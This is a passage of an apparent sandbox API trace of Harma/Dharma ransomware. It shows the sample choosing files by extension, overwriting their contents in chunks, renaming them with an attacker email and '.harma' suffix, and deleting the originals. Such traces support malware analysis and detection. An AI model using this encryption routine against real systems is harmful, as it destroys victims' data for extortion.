lpNewFilePointer=0x0) returned 1 [0059.149] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.150] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0059.150] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.153] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f33178 | out: hHeap=0x5a0000) returned 1 [0059.155] CloseHandle (hObject=0x1d0) returned 1 [0059.423] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0059.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.424] lstrlenW (lpString=".doc") returned 4 [0059.424] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.424] lstrlenW (lpString=".docx") returned 5 [0059.424] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0059.424] lstrlenW (lpString=".pdf") returned 4 [0059.424] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.424] lstrlenW (lpString=".xls") returned 4 [0059.424] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.424] lstrlenW (lpString=".xlsx") returned 5 [0059.424] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0059.424] lstrlenW (lpString=".ppt") returned 4 [0059.424] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.424] lstrlenW (lpString=".zip") returned 4 [0059.424] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.424] lstrlenW (lpString=".rar") returned 4 [0059.424] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.424] lstrlenW (lpString=".bz2") returned 4 [0059.424] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.424] lstrlenW (lpString=".7z") returned 3 [0059.424] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.424] lstrlenW (lpString=".dbf") returned 4 [0059.424] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.424] lstrlenW (lpString=".1cd") returned 4 [0059.424] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.424] lstrlenW (lpString=".jpg") returned 4 [0059.424] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.425] lstrlenW (lpString=".doc") returned 4 [0059.425] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.425] lstrlenW (lpString=".docx") returned 5 [0059.425] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0059.425] lstrlenW (lpString=".pdf") returned 4 [0059.425] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.425] lstrlenW (lpString=".xls") returned 4 [0059.425] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.425] lstrlenW (lpString=".xlsx") returned 5 [0059.425] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0059.425] lstrlenW (lpString=".ppt") returned 4 [0059.425] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.425] lstrlenW (lpString=".zip") returned 4 [0059.425] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.425] lstrlenW (lpString=".rar") returned 4 [0059.425] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.425] lstrlenW (lpString=".bz2") returned 4 [0059.425] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.425] lstrlenW (lpString=".7z") returned 3 [0059.426] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.426] lstrlenW (lpString=".dbf") returned 4 [0059.426] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.426] lstrlenW (lpString=".1cd") returned 4 [0059.426] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0059.426] lstrlenW (lpString=".jpg") returned 4 [0059.426] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.426] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0059.426] lstrlenW (lpString="ose.exe") returned 7 [0059.426] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0059.427] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=174440) returned 1 [0059.427] CloseHandle (hObject=0x204) returned 1 [0059.427] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0059.427] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.427] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0059.427] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.427] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.427] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.428] GetLastError () returned 0x0 [0059.428] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x2a968, lpOverlapped=0x0) returned 1 [0059.432] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0059.436] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.436] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0059.437] SetEndOfFile (hFile=0x170) returned 1 [0059.437] CloseHandle (hObject=0x170) returned 1 [0059.437] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.437] SetEndOfFile (hFile=0x204) returned 1 [0059.439] CloseHandle (hObject=0x204) returned 1 [0059.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0059.439] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0059.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.439] lstrlenW (lpString=".doc") returned 4 [0059.439] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.439] lstrlenW (lpString=".docx") returned 5 [0059.439] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0059.439] lstrlenW (lpString=".pdf") returned 4 [0059.439] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.439] lstrlenW (lpString=".xls") returned 4 [0059.440] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.440] lstrlenW (lpString=".xlsx") returned 5 [0059.440] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0059.440] lstrlenW (lpString=".ppt") returned 4 [0059.440] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.440] lstrlenW (lpString=".zip") returned 4 [0059.440] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.440] lstrlenW (lpString=".rar") returned 4 [0059.440] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.440] lstrlenW (lpString=".bz2") returned 4 [0059.440] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.440] lstrlenW (lpString=".7z") returned 3 [0059.440] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.440] lstrlenW (lpString=".dbf") returned 4 [0059.440] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.440] lstrlenW (lpString=".1cd") returned 4 [0059.440] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.440] lstrlenW (lpString=".jpg") returned 4 [0059.440] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.440] lstrlenW (lpString=".doc") returned 4 [0059.440] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.440] lstrlenW (lpString=".docx") returned 5 [0059.440] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0059.440] lstrlenW (lpString=".pdf") returned 4 [0059.440] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.440] lstrlenW (lpString=".xls") returned 4 [0059.441] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.441] lstrlenW (lpString=".xlsx") returned 5 [0059.441] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0059.441] lstrlenW (lpString=".ppt") returned 4 [0059.441] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.441] lstrlenW (lpString=".zip") returned 4 [0059.441] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.441] lstrlenW (lpString=".rar") returned 4 [0059.441] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.441] lstrlenW (lpString=".bz2") returned 4 [0059.441] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.441] lstrlenW (lpString=".7z") returned 3 [0059.441] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.441] lstrlenW (lpString=".dbf") returned 4 [0059.441] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.441] lstrlenW (lpString=".1cd") returned 4 [0059.441] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0059.441] lstrlenW (lpString=".jpg") returned 4 [0059.441] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.441] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0059.441] lstrlenW (lpString="osetup.dll") returned 10 [0059.441] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0059.442] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=7378792) returned 1 [0059.442] CloseHandle (hObject=0x204) returned 1 [0059.442] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0059.442] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.442] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0059.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0059.443] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0059.443] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0059.443] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.446] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0059.447] ReadFile (in: hFile=0x204, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.452] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.452] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0059.452] ReadFile (in: hFile=0x204, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.857] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.858] WriteFile (in: hFile=0x204, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0059.876] SetEndOfFile (hFile=0x204) returned 1 [0060.046] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0060.046] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0060.046] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.049] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0060.049] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.053] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0060.053] WriteFile (in: hFile=0x204, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.056] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0060.056] CloseHandle (hObject=0x204) returned 1 [0060.056] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0060.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.056] lstrlenW (lpString=".doc") returned 4 [0060.057] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.057] lstrlenW (lpString=".docx") returned 5 [0060.057] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0060.057] lstrlenW (lpString=".pdf") returned 4 [0060.057] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.057] lstrlenW (lpString=".xls") returned 4 [0060.057] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.057] lstrlenW (lpString=".xlsx") returned 5 [0060.057] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0060.057] lstrlenW (lpString=".ppt") returned 4 [0060.057] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.057] lstrlenW (lpString=".zip") returned 4 [0060.057] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.057] lstrlenW (lpString=".rar") returned 4 [0060.057] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.057] lstrlenW (lpString=".bz2") returned 4 [0060.057] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.057] lstrlenW (lpString=".7z") returned 3 [0060.057] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.057] lstrlenW (lpString=".dbf") returned 4 [0060.057] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.057] lstrlenW (lpString=".1cd") returned 4 [0060.058] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.058] lstrlenW (lpString=".jpg") returned 4 [0060.058] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.058] lstrlenW (lpString=".doc") returned 4 [0060.058] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.058] lstrlenW (lpString=".docx") returned 5 [0060.058] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0060.058] lstrlenW (lpString=".pdf") returned 4 [0060.058] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.058] lstrlenW (lpString=".xls") returned 4 [0060.058] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.058] lstrlenW (lpString=".xlsx") returned 5 [0060.058] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0060.058] lstrlenW (lpString=".ppt") returned 4 [0060.058] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.058] lstrlenW (lpString=".zip") returned 4 [0060.058] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.058] lstrlenW (lpString=".rar") returned 4 [0060.058] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.058] lstrlenW (lpString=".bz2") returned 4 [0060.059] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.059] lstrlenW (lpString=".7z") returned 3 [0060.059] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.059] lstrlenW (lpString=".dbf") returned 4 [0060.059] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.059] lstrlenW (lpString=".1cd") returned 4 [0060.059] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0060.059] lstrlenW (lpString=".jpg") returned 4 [0060.059] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.059] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0060.059] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0060.059] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0060.674] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=10798080) returned 1 [0060.674] CloseHandle (hObject=0x1e0) returned 1 [0060.674] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0060.674] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.674] MoveFileW 